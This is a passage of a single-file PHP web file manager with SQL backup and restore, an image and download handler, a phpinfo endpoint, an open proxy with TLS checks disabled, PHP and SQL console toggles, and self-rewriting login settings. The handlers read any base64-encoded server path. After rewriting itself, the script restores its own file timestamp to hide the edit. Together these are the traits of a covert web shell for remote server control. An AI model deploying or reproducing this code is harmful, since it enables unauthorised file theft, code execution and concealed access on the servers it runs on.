		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' ¡ª '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//§Ü§Ñ§Ü-§ä§à §ä§à§Ø§Ö §á§à§Õ§Þ§Ö§ß§ñ§ä§î §ß§Ñ§Õ§à
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

function find_text_in_files($dir, $mask, $text) {
    $results = array();
    if ($handle = opendir($dir)) {
        while (false !== ($entry = readdir($handle))) {
            if ($entry != "." && $entry != "..") {
                $path = $dir . "/" . $entry;
                if (is_dir($path)) {
                    $results = array_merge($results, find_text_in_files($path, $mask, $text));
                } else {
                    if (fnmatch($mask, $entry)) {
                        $contents = file_get_contents($path);
                        if (strpos($contents, $text) !== false) {
                            $results[] = str_replace('//', '/', $path);
                        }
                    }
                }
            }
        }
        closedir($handle);
    }
    return $results;
}


/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
		$_COOKIE['fm_config'] = serialize($fm_config);
		$msg_ntimes = __('Settings').' '.__('done');
	}	elseif (isset($_POST['fm_login'])) { 
		if (empty($_POST['fm_login']['authorize'])) $_POST['fm_login'] = array('authorize' => '0') + $_POST['fm_login'];
		$fm_login = json_encode($_POST['fm_login']);
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#authorization[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$fm_login,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg_ntimes .= __('File updated');
				if ($_POST['fm_login']['login'] != $auth['login']) $msg_ntimes .= ' '.__('Login').': '.$_POST['fm_login']['login'];
				if ($_POST['fm_login']['password'] != $auth['password']) $msg_ntimes .= ' '.__('Password').': '.$_POST['fm_login']['password'];
				$auth = $_POST['fm_login'];
			}
			else $msg_ntimes .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}
	} elseif (isset($_POST['tpl_edited'])) { 
		$lng_tpl = $_POST['tpl_edited'];
		if (!empty($_POST[$lng_tpl.'_name'])) {
			$fm_php = json_encode(array_combine($_POST[$lng_tpl.'_name'],$_POST[$lng_tpl.'_value']),JSON_HEX_APOS);
		} elseif (!empty($_POST[$lng_tpl.'_new_name'])) {
			$fm_php = json_encode(json_decode(${$lng_tpl.'_templates'},true)+array($_POST[$lng_tpl.'_new_name']=>$_POST[$lng_tpl.'_new_value']),JSON_HEX_APOS);
		}
		if (!empty($fm_php)) {
			$fgc = file_get_contents(__FILE__);
			$search = preg_match('#'.$lng_tpl.'_templates[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
			if (!empty($matches[1])) {
				$filemtime = filemtime(__FILE__);
				$replace = str_replace('{"'.$matches[1].'"}',$fm_php,$fgc);
				if (file_put_contents(__FILE__, $replace)) {
					${$lng_tpl.'_templates'} = $fm_php;
					$msg_ntimes .= __('File updated');
				} else $msg_ntimes .= __('Error occurred');
				if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
			}	
		} else $msg_ntimes .= __('Error occurred');
	}
}

// Just show image
if (isset($_GET['img'])) {
	$file=base64_decode($_GET['img']);
	if ($info=getimagesize($file)){
		switch  ($info[2]){	//1=GIF, 2=JPG, 3=PNG, 4=SWF, 5=PSD, 6=BMP
			case 1: $ext='gif'; break;
			case 2: $ext='jpeg'; break;
			case 3: $ext='png'; break;
			case 6: $ext='bmp'; break;
			default: die();
		}
		header("Content-type: image/$ext");
		echo file_get_contents($file);
		die();
	}
}

// Just download file
if (isset($_GET['download'])) {
	$file=base64_decode($_GET['download']);
	fm_download($file);	
}

// Just show info
if (isset($_GET['phpinfo'])) {
	phpinfo(); 
	die();
}

// Mini proxy, many bugs!
if (isset($_GET['proxy']) && (!empty($fm_config['enable_proxy']))) {
	$url = isset($_GET['url'])?urldecode($_GET['url']):'';
	$proxy_form = '
<div style="position:relative;z-index:100500;background: linear-gradient(to bottom, #e4f5fc 0%,#bfe8f9 50%,#9fd8ef 51%,#2ab0ed 100%);">
	<form action="" method="GET">
	<input type="hidden" name="proxy" value="true">
	'.fm_home().' <a href="'.$url.'" target="_blank">Url</a>: <input type="text" name="url" value="'.$url.'" size="55">
	<input type="submit" value="'.__('Show').'" class="fm_input">
	</form>
</div>
';
	if ($url) {
		$ch = curl_init($url);
		curl_setopt($ch, CURLOPT_USERAGENT, 'Den1xxx test proxy');
		curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		curl_setopt($ch, CURLOPT_SSL_VERIFYHOST,0);
		curl_setopt($ch, CURLOPT_SSL_VERIFYPEER,0);
		curl_setopt($ch, CURLOPT_HEADER, 0);
		curl_setopt($ch, CURLOPT_REFERER, $url);
		curl_setopt($ch, CURLOPT_RETURNTRANSFER,true);
		$result = curl_exec($ch);
		curl_close($ch);
		//$result = preg_replace('#(src)=["\'][http://]?([^:]*)["\']#Ui', '\\1="'.$url.'/\\2"', $result);
		$result = preg_replace_callback('#(href|src)=["\'][http://]?([^:]*)["\']#Ui', 'fm_url_proxy', $result);
		$result = preg_replace('%(<body.*?>)%i', '$1'.'<style>'.fm_home_style().'</style>'.$proxy_form, $result);
		echo $result;
		die();
	} 
}
?>
<!doctype html>
<html>
<head>     
	<meta charset="utf-8" />
	<meta name="viewport" content="width=device-width, initial-scale=1" />
    <title></title>
<style>
body {
	background-color:	white;
	font-family:		Verdana, Arial, Helvetica, sans-serif;
	font-size:			8pt;
	margin:				0px;
}

a:link, a:active, a:visited { color: #006699; text-decoration: none; }
a:hover { color: #DD6900; text-decoration: underline; }
a.th:link { color: #FFA34F; text-decoration: none; }
a.th:active { color: #FFA34F; text-decoration: none; }
a.th:visited { color: #FFA34F; text-decoration: none; }
a.th:hover {  color: #FFA34F; text-decoration: underline; }

table.bg {
	background-color: #ACBBC6
}

th, td { 
	font:	normal 8pt Verdana, Arial, Helvetica, sans-serif;
	padding: 3px;
}

th	{
	height:				25px;
	background-color:	#006699;
	color:				#FFA34F;
	font-weight:		bold;
	font-size:			11px;
}

.row1 {
	background-color:	#EFEFEF;
}

.row2 {
	background-color:	#DEE3E7;
}

.row3 {
	background-color:	#D1D7DC;
	padding: 5px;
}

tr.row1:hover {
	background-color:	#F3FCFC;
}

tr.row2:hover {
	background-color:	#F0F6F6;
}

.whole {
	width: 100%;
}

.all tbody td:first-child{width:100%;}

textarea {
	font: 9pt 'Courier New', courier;
	line-height: 125%;
	padding: 5px;
}

.textarea_input {
	height: 1em;
}

.textarea_input:focus {
	height: auto;
}

input[type=submit]{
	background: #FCFCFC none !important;
	cursor: pointer;
}

.folder {
    background-image: url("data:image/png;base64,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");
}

.file {
    background-image: url("data:image/png;base64,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